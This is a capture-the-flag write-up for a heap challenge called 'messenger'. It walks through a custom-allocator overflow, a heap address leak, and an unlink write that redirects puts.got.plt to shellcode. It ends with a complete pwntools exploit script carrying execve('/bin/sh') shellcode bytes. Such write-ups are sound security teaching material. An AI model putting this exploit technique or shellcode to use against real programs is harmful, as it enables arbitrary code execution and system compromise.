Analyzing
64 bits ELF, Partial RELRO, with canary, no NX & PIE
There are five options:
[L]eave:
- Leave at most two messages.
- Free to choose size, but max size is 32.
- The binary implements
malloc
itself. It's a little bit complex, but it's not the key point in this challenge.
[R]emove:
- The binary implements
free
itself, too. It will do theunlink
operation. And that's what we gonna use to exploit. - After the remove operation, the global variable which records the number of messages won't be changed.
[C]hange:
- Here is an overflow vulnerability. It will ask the size first, and it doesn't need to be the same as the size of original message. We would use this to change the chunk struct.
[V]iew:
- Use this to leak heap address.
[Q]uit:
- Quit the program.
Here is its heap struct (assume that there has been already a size 8 message left):
+-----------------------+
| size | fd | # Head
+-----------------------+
| | size | # First message
| fd | bk |
| data |
+-----------------------+
| | size | # Top chunk
| | bk |
+-----------------------+
fd, bk will point the address where chunk stores its size instead of start of data or head of chunk.
Exploit
First, leave a message of size 8, then use change
to overflow the chunk struct. In the end of first step, use view
to leak heap address.
Heap layout in the beginning:
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000400 # Top chunk
0x603020: 0x0000000000000000 0x0000000000603000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
Leave a message of size 8:
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x0000000041414141 0x0000000000000000
0x603040: 0x0000000000000000 0x00000000000003d0 # Top chunk
0x603050: 0x0000000000000000 0x0000000000603018
Use change
to overflow, then leak the heap address:
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x4141414141414141 # Top chunk
0x603050: 0x4141414141414141 0x0000000000603018
Here use the view
function. It will output 'A'*40 + '\x18\x30\x60'
.
Second, use change
again to recover the heap struct since we don't want to mess up the heap struct. The struct will be the same as the second layout:
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x0000000041414141 0x0000000000000000
0x603040: 0x0000000000000000 0x00000000000003d0 # Top chunk
0x603050: 0x0000000000000000 0x0000000000603018
Third, leave another message of size 8:
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x0000000041414141 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000031 # Second message
0x603050: 0x0000000000603018 0x0000000000603018
0x603060: 0x0000000042424242 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000000003a0 # Top chunk
0x603080: 0x0000000000000000 0x0000000000603048
Then, we need to use unlink
to make puts.got.plt point to the address where we put shellcode. Take a look at the free
code.
- buf - address where chunk stores data
- size_adr - address where chunk stores size
- buf_bk - bk of current_freed_chunk
- buf_fd - fd of current_freed_chunk
- qword_6020B0 - a list which stores address of message
# list struct
0x6020b0: 0x0000000000603000 0x0000000000000000 # Head | Nothing
0x6020c0: 0x0000000000603030 0x0000000000603060 # First | Second
size_adr = buf-24;
buf_bk = *(_QWORD *)(buf-24+16);
buf_fd = *(_QWORD *)(buf-24+8);
if (buf_bk)
*(_QWORD *)(buf_bk+8) = buf_fd; // make buf_bk->fd = current_freed_chunk->fd
if (buf_fd)
*(_QWORD *)(buf_fd+16) = buf_bk; // make buf_fd->bk = current_freed_chunk->bk
*(_QWORD *)(size_adr+8) = *(_QWORD *)(qword_6020B0+8) // make current_freed_chunk->fd = first message
if (*(_QWORD *)(qword_6020B0+8))
*(_QWORD *)(*(_QWORD *)(qword_6020B0+8)+16) = size_adr; // make first message->bk = current_freed_chunk
*(_QWORD *)(qword_6020B0+8) = size_adr; // make Head->fd = current_freed_chunk
*(_QWORD *)size_adr &= 0xFFFFFFFFFFFFFFFE; // clear inuse bit
Use buf_bk->fd = current_freed_chunk->fd
to overwrite puts.got.plt. Make buf_bk
= puts.got.plt-8
and buf_fd
= address of shellcode
. And since buf_bk->fd
will be puts_got.plt
, puts.got.plt
will point to address of shellcode
after the unlink
operation.
Here we need to use change
to overwrite struct of second message first. Then free the second message.
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x4141414141414141 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000031 # Second message
0x603050: 0x00000000006030a8 0x0000000000602010
0x603060: 0x4242424242424242 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000000003a0 # Top chunk
0x603080: 0x0000000000000000 0x0000000000603048
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x00000000000016eb
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: shellcode
0x602010
-puts_got-8
0x6020a8
- address of shellcode
I only put \xeb\x16
on 0x6030a8
since the side-effect of unlink
. unlink
would put buf_fd
on buf_bk->bk
.
0x603000: 0x0000000000000018 0x0000000000603048 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603048
0x603030: 0x4141414141414141 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000030 # Second message
0x603050: 0x00000000006030a8 0x0000000000602010
0x603060: 0x4242424242424242 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000000003a0 # Top chunk
0x603080: 0x0000000000000000 0x0000000000603048
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x00000000000016eb
0x6030b0: 0x0000000000000000 0x0000000000602010 <- buf_bk
0x6030c0: shellcode
Therefore, if we put the real shellcode right on the buf_fd
, our shellcode would be messed up. Use the jmp 0x18
so that when calling puts
it will jump to the address of real shellcode which is 0x6030c0
. Then... open the shell!
#!/usr/bin/env python
# -*- coding: utf8 -*-
from pwn import * # pip install pwntools
import sys
r = process('./messenger')
def leave(size, msg):
r.recvuntil('>>')
r.sendline('L')
r.recvuntil('size :')
r.sendline(str(size))
r.recvuntil('msg :')
r.sendline(msg)
def change(idx, size, payload):
r.recvuntil('>>')
r.sendline('C')
r.recvuntil('index :')
r.sendline(str(idx))
r.recvuntil('size :')
r.sendline(str(size))
r.recvuntil('msg :')
r.send(payload)
def view(idx):
r.recvuntil('>>')
r.sendline('V')
r.recvuntil('index :')
r.sendline(str(idx))
def remove(idx):
r.recvuntil('>>')
r.sendline('R')
r.recvuntil('index :')
r.sendline(str(idx))
puts_got = 0x602018
# Leak top chunk
leave(8, 'A'*4)
change(0, 60, 'A'*40)
view(0)
r.recvuntil('A'*40)
x = r.recvline()[:-1]
heap = u64(x + '\x00'*(8-len(x))) - 0x18
log.info('heap : {}'.format(hex(heap)))
# Repair the heap struct
payload = 'A'*8 + p64(0)*2 + p64(0x3d0) + p64(0) + p64(heap+0x18)
change(0, 60, payload)
# Make another chunk and use overflow to make arbitratary free
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
leave(8, 'B'*4)
payload = 'A'*8
payload += p64(0)*2 + p64(0x31) + p64(heap+0xa8) + p64(puts_got-8)
payload += 'B'*8 + p64(0)*2 + p64(0x3a0) + p64(0) + p64(heap+0x48)
payload += p64(0)*3 + '\xeb\x16' +'\x00'*6 + p64(0)*2 + sc
change(0, len(payload)+4, payload)
remove(1)
r.interactive()